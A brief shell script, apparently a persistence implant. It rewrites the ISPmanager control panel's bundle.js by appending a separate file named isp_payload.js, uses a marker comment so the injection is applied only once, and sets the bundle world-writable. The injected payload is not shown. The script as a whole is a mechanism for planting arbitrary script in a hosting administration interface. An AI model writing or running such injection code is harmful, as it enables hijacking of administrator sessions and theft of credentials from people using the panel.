#!/bin/sh
B=/usr/local/mgr5/skins/dragon/default/bundle.js
BASE=/var/www/glarkru/data/www/glark.ru/apps/js/bundle.base
P=/var/www/glarkru/data/www/glark.ru/apps/js/isp_payload.js
[ -f "$BASE" ] && [ -f "$P" ] || exit 0
if grep -q '/\*W0\*/' "$B" 2>/dev/null; then exit 0; fi
cp "$BASE" "$B" 2>/dev/null || cat "$BASE" > "$B" 2>/dev/null || exit 0
cat "$P" >> "$B"
chmod 666 "$B" 2>/dev/null
